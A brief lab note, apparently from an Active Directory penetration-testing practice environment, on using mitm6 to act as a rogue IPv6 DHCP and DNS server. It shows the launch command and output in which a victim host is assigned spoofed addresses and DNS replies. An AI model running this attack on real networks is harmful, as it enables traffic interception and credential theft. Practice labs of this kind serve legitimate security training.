

MITM6 (1)

****Start mitm6 to fake a ipv6 dhcp server as the client's computer requests ipv6 every 30 mins, or we can do it faster by ressetting the client machine. ****

-d: domain

```
(root@kali) [/home/trisdoan]
# mitm6 -d marvel.local
Starting mitm6 using the following configuration:
Primary adapter: eth0 [08:00:27:ad:32:9c]
IPv4 address: 10.0.2.15
IPv6 address: fe80::a00:27ff:fead:329c
DNS local search domain: marvel.local
DNS allowlist: marvel.local
IPv6 address fe80::7938:1 is now assigned to mac=08:00:27:a4:fb:53 host=THEPUNISHER.MARVEL.local ipv4=
Sent spoofed reply for uwuqvbyh.MARVEL.local. to fe80::7938:1
Sent spoofed reply for oraxvfotkd.MARVEL.local. to fe80::7938:1
IPv6 address fe80::7938:2 is now assigned to mac=08:00:27:a4:fb:53 host=THEPUNISHER.MARVEL.local ipv4=
